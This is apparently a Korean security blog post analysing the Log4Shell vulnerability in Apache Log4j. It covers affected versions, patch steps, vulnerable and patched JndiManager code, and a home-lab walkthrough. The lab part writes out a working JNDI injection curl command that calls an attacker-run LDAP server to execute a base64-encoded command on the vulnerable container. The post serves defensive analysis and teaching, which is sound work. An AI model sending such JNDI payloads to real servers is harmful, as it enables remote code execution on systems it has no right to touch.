Security/CVE

Apache Log4Shell 분석

Hyeon Gu 2024. 4. 25. 00:22

CVE-2021-44228

Apache Log4Shell 취약점에 대해 분석하고 알아보고자 합니다

1. 취약점명

  • Apache Log4j 취약점 (UPDATE 2022.01.21)
    • CVE-2021-44228, CVE-2021-45046, CVE-2022-23302, CVE-2022-23305, CVE-2022-23307 

2. 소개

  • 2021년 12월 9일, 연구원들은 여러 애플리케이션 및 서비스에서 사용되는 Java 로깅 라이브러리인 Apache Log4j의 치명적인 취약점에 대한 개념 증명(PoC) 익스플로잇 코드를 게시하였습니다.

there’s a minecraft client & server exploit open right now which abuses a vulerability in log4j versions 2.0 – 2.14.1, there are proofs of concept going around already.— ᵃᵈᵃᵐ (@twokilohertz) December 9, 2021

  • iCloud, Steam, Tesla, Amazon, Apache, Twitter, Minecraft등 모두 사용되고 있는 log4j 취약점으로 원격 코드 실행이 가능한 JNDI Injection 취약점 입니다.
    • 외부 디렉터리 서비스 프로토콜은 대표적으로 LDAP(Lightweight Directory Access Protocol)과 LDAPS(Secure LDAP)이 있습니다.
    • 수백만 개의 애플리케이션이 로그를 위해 Log4j를 사용하고 있으며 공격자는 ${jndi:ldap://attacker_domain} 해당 악성 클래스 경로를 입력 하기만 하면 공격에 성공하게 됩니다.
    • 해당 취약점은 CVSS v3 점수 10.0 / 10.0으로 평가 되었습니다.

(UPDATE 2022.01.21) – 모든 시스템에 대해 Apache log4j의 최신 버전(2.17.1)으로 업그레이드할 것 을 적극 권장합니다.

  • 봇 스캔 활동을 하고 있으며 패치되지 않은 시스템을 찾아 악용하여 피해 사례가 발생하고 있습니다.
  • WAF 장비에 ldap jndi 키워드에 대해 필터링 진행하였으나, 이를 우회 할 수 있는 기법도 등장하고 있습니다.

JNDI(Java Naming and Directory Interface)란?

자바 애플리케이션에서 외부 디렉터리 서비스에 접근하기 위한 API 이며, 원격 서버의 객체를 bind하여 애플리케이션에서 접근할 수 있는 기술입니다

Log4j 란?

Log4j는 Java/Kotlin/Scala/Groovy 코딩 도중에 프로그램의 로그를 기록해주는 라이브러리로, 이클립스, IntelliJ IDEA, 안드로이드 스튜디오 등에 추가하여 프로그램 실행 시 자동으로 지정한 경로에 로그를 저장해주는 기능 입니다.


3. 영향을 받는 버전

  • Log4j 2.0-beta9 ~ 2.14.1 이하 버전 CVE-2021-44228
    • CVSS Score : 10.0 / 10.0 (CRITICAL)
  • Log4j 2.0-beta9 ~ 2.15.0 이하 버전 CVE-2021-44228
    • CVSS Score : 9.0 / 10.0 (CRITICAL)
  • Log4j 1.X 버전 CVE-2021-4104
    • CVSS Score : 7.5 / 10.0 (HIGH)
  • Log4j 1.X 버전 CVE-2022-23302
    • JMSSink를 사용하지 않는 경우 취약점 영향 없음
    • CVSS Score : 9.8 / 10.0 (HIGH)
  • Log4j 1.X 버전 CVE-2022-23305
    • JDBCAppender를 사용하지 않는 경우 취약점 영향 없음
    • CVSS Score : 9.8 / 10.0 (HIGH)
  • Log4j 1.X 버전 CVE-2022-23307
    • Chainsaw를 사용하지 않는 경우 취약점 영향 없음
    • CVSS Score : 9.8 / 10.0 (HIGH)
  • 전자정부프레임워크(eGovFramework) 버전 별 Log4j 버전
    • 프레임워크 버전 // Log4j 버전
      • 1.0 : Log4j 1.3 (JMSAppender를 사용하는 경우)
      • 2.0 : Log4j 1.3 (JMSAppender를 사용하는 경우)
      • 2.5 : Log4j 1.3 (JMSAppender를 사용하는 경우)
      • 2.6 : Log4j 1.3 (JMSAppender를 사용하는 경우)
      • 2.7 : Log4j 1.3 (JMSAppender를 사용하는 경우)
      • 3.0 : Log4j 2.0
      • 3.1 : Log4j 2.0
      • 3.5 : Log4j 2.1
      • 3.6 : Log4j 2.5
      • 3.7 : Log4j 2.8.2
      • 3.8 : Log4j 2.10.0
      • 3.9 : Log4j 2.11.2
      • 3.10 : Log4j 2.12.1
      • 4.0(베타) : : Log4j 2.14.0

출처 : eGovFrame

  • 단, Log4j 1.x 는 해당 취약점에 영향을 받지 않습니다.
    • 1.2 버전의 경우 CVE-2019-17571 다른 취약점이 존재하고 있습니다. // CVSS Score : 9.8 / 10.0 (CRITICAL)

3-1. 영향 받는 소프트웨어

  • Apache Struts, Apache Solr, Apache Druid, Apache Flink, Apache Tomcat, ElasticSearch, Flume, Apache Dubbo, Logstash, Kafka, Spring-Boot-starter-log4j2, …

4. 해결 방법

현재 패치 방법으로는 7가지 방법 있으며 버전 및 라이브러리에 따라 다른 점을 참고하여 패치 하시길 바랍니다.

또한 기존 버전과 패치된 버전의 프레임워크 호환성 문제가 발생할 수 있으므로 충분히 테스트 후 작업 해주시길 바랍니다.

1.Log4j 2.15.0 패치 방법 (Java8 버전 이상 가능)

  • Log4j 2.17.1을 패치 하기 위해선 Java8 버전을 사용 하여야 합니다
    • Java7 버전을 사용하시는 사용자의 경우 Log4j 2.17.1 업그레이드 이전에 Java8 버전으로 먼저 업그레이드 후 진행하여야 합니다.

Apache Log4j 패치 다운로드

2. 현재 버전이 Log4j 2.10.0 ~ 2.14.1 버전

  • Java7 버전을 사용하시는 사용자의 경우 Log4j 2.12.4 이상 버전으로 업데이트Java6 버전을 사용하시는 사용자의 경우 Log4j 2.3.2 이상 버전으로 업데이트Dlog4j.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPStrue로 설정합니다.

예시) java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar

  • JVM 매개변수를 수정 합니다.

3. 현재 버전이 Log4j 2.7.0 ~ 2.14.1 버전

log4j config파일에서 logging PatternLayout을%m -> %m{nolookups} 수정합니다.

4. 현재 버전이 Log4j 2.0-beta9 ~ 2.10.0 버전

zip –q –d log4j–core–*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

• 해당 명령어는 log4j-core.jar에서 JdniLookup 및 JdniManager 클래스 제거

5. Log4j 1.x JMSSink 사용할 경우 (CVE-2022-23305)

zip –q –d log4j–*.jar org/apache/log4j/net/JMSSink.class

5-1. Log4j 1.x JDBCAppender 사용할 경우 (CVE-2022-23307)

zip –q –d log4j–*.jar org/apache/log4j/jdbc/JDBCAppender.class

• Log4j 설정 파일에서 JDBCAppender 삭제, JDBCAppender 클래스 파일 삭제

6. 그 외 방법으로는 IPS, IDS, WAF에서 차단 정책을 설정 합니다.

snort : https://pastebin.com/qJh7DFd4

yara : https://pastebin.com/Jnx6Hxmr

suricata : https://rules.emergingthreatspro.com/open/suricata-5.0/rules/emerging-exploit.rules

5. 취약점 원인 분석

@throws NamingException if a naming exception is encountered

@SuppressWarnings("unchecked")

public <T> T lookup(final String name) throws NamingException {

    return (T) this.context.lookup(name);

}

위의 코드는 취약점을 발생시키게 한 코드이며 JndiManager.java 파일에JNDI lookup 기능에서 발견

되었습니다.

public synchronized <T> T lookup(final String name) throws NamingException {
        try {
            URI uri = new URI(name);
            if (uri.getScheme() != null) {
                if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                    LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
                    return null;
                }
                if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
                    if (!allowedHosts.contains(uri.getHost())) {
                        LOGGER.warn("Attempt to access ldap server not in allowed list");
                        return null;
                    }
                    Attributes attributes = this.context.getAttributes(name);
                    if (attributes != null) {
                        // In testing the "key" for attributes seems to be lowercase while the attribute id is
                        // camelcase, but that may just be true for the test LDAP used here. This copies the Attributes
                        // to a Map ignoring the "key" and using the Attribute's id as the key in the Map so it matches
                        // the Java schema.
                        Map<String, Attribute> attributeMap = new HashMap<>();
                        NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();
                        while (enumeration.hasMore()) {
                            Attribute attribute = enumeration.next();
                            attributeMap.put(attribute.getID(), attribute);
                        }
                        Attribute classNameAttr = attributeMap.get(CLASS_NAME);
                        if (attributeMap.get(SERIALIZED_DATA) != null) {
                            if (classNameAttr != null) {
                                String className = classNameAttr.get().toString();
                                if (!allowedClasses.contains(className)) {
                                    LOGGER.warn("Deserialization of {} is not allowed", className);
                                    return null;
                                }
                            } else {
                                LOGGER.warn("No class name provided for {}", name);
                                return null;
                            }
                        } else if (attributeMap.get(REFERENCE_ADDRESS) != null
                                || attributeMap.get(OBJECT_FACTORY) != null) {
                            LOGGER.warn("Referenceable class is not allowed for {}", name);
                            return null;
                        }
                    }
                }
            }
        } catch (URISyntaxException ex) {
            // This is OK.
        }

패치된 코드 참조( Apache Github )

패치가 됨으로써 변경된 사항으로는

  1. JNDI LDAP를 통해 역직렬화할 수 있는 class 제한
  2. JNDI Lookup 에서 지원되는 LDAP 서버 속성 제한
  3. LDAP 연결을 localhost로 제한

입니다.


5-1.취약점 상세 분석

환경 구성

  • Log4Shell 취약 서버 : Ubuntu 18.04, Docker, 실습자료
    • 취약 서버 IP : 192.168.48.190
  • LDAP 서버 : Ubuntu 22.04, JDK 8 , JNDIExploit.jar
    • LDAP 서버 IP : 192.168.38.173
  • 공격자 PC : Linux
    • 공격자 PC : 192.168.20.140
  1. Log4Shell 취약 서버를 구성 할려고 합니다.
  • 아래 명령어를 입력하게 되면 컨테이너에 이미지 다운로드, 환경 구성, 실행 하게됩니다.
  • Docker 설치가 완료된 상황이여야만 실행 가능합니다
docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

[사진1] Log4Shell 취약 서버 구성

1-2. 정상적으로 컨테이너가 실행중이고 웹 브라우저에 Ex) 192.168.48.190:8080 입력을하게 된다면 아래 사진과 같이 뜨게 됨으로써 Log4Shell에 취약한 서버가 구성 되었습니다.

 

[사진2] Log4Shell 취약한 서버 웹페이지

  1. 다음으로는 Reverse Shell(리버스쉘)을 하기 위해 LDAP서버를 구성 할려고 합니다.
  • JDK 8 버전이 설치가 완료된 상황
  • JNDIExploit의 파일의 경우 악용의 소지가 있어 직접적인 공유는 불가능한 점 안내드립니다.
  •  

[사진3] Log4Shell 취약한 서버를 공격하기 위한 LDAP서버

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i LDAP서버 공인IP -p 8888

JNDIExploit 사용 하여 ex)JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.38.173 -p 8888 LDAP 서버를 실행하도록 함으로써 1389, 8888 포트를 Listening 상태로 만들었습니다.

  1. 이제 개인 로컬 PC에서 ex) curl 192.168.48.190:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.38.173:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

 

[사진4] 공격자용 PC 에서 명령어 입력

라고 명령어를 입력 할경우 Log4Shell 취약 서버에 /tmp/pwned.txt 파일이 생성 됩니다.

curl Log4Shell취약 서버 공인IP:8080 -H 'X-Api-Version: ${jndi:ldap://LDAP서버 공인IP:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

 

[사진5] Log4Shell 취약 서버에서 생성된 파일 확인

docker exec vulnerable-app ls /tmp

base64로 인코딩 되었으며 dG91Y2ggL3RtcC9wd25lZAo= 다시 디코딩 할 경우touch /tmp/pwned.txt 를 생성한다는 의미가 되어 생성이 된 것을 확인 할 수 있습니다.

 

[사진6] LDAP 서버에서Log4Shell 취약 서버로 명령을 보낸 로그

  1. 패킷 분석

 

[사진7] WireShark 패킷 분석

WireShark로 패킷을 분석 한 결과 Destination IP 192.168.38.173:8888 ExploitAAAbgfs3gvS.class 를 요청하여 성공적으로 조회 된 것으로 확인 되었습니다.

  1. 번외

 

[사진8] Xmrig (lh.sh) 스크립트 파일 출처 :securityaffairs.co

 

[사진9] Xmrig Base64 인코딩 -> 디코딩

코인 마이너 (Xmrig, Kingsing) , DDoS 봇넷 페이로드(Dofloo, Tsunami, Mirai), Linux 랜섬웨어 등 Log4j 취약점 악용 사례가 나오고 있으므로 주의 하여주시길 바랍니다.

이상 Apache Log4Shell의 취약점에 대해 분석하여 알아보았습니다.

감사합니다.


Reference

https://krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36397

https://github.com/christophetd/log4shell-vulnerable-app

https://www.lunasec.io/docs/blog/log4j-zero-day/

https://nvd.nist.gov/vuln/detail/CVE-2021-45105

https://securityaffairs.co/wordpress/125842/cyber-crime/log4j-vulnerability-aftermath.html

https://medium.com/s2wblog/logs-of-log4shell-cve-2021-44228-log4j-is-ubiquitous-kr-fb50a6458a08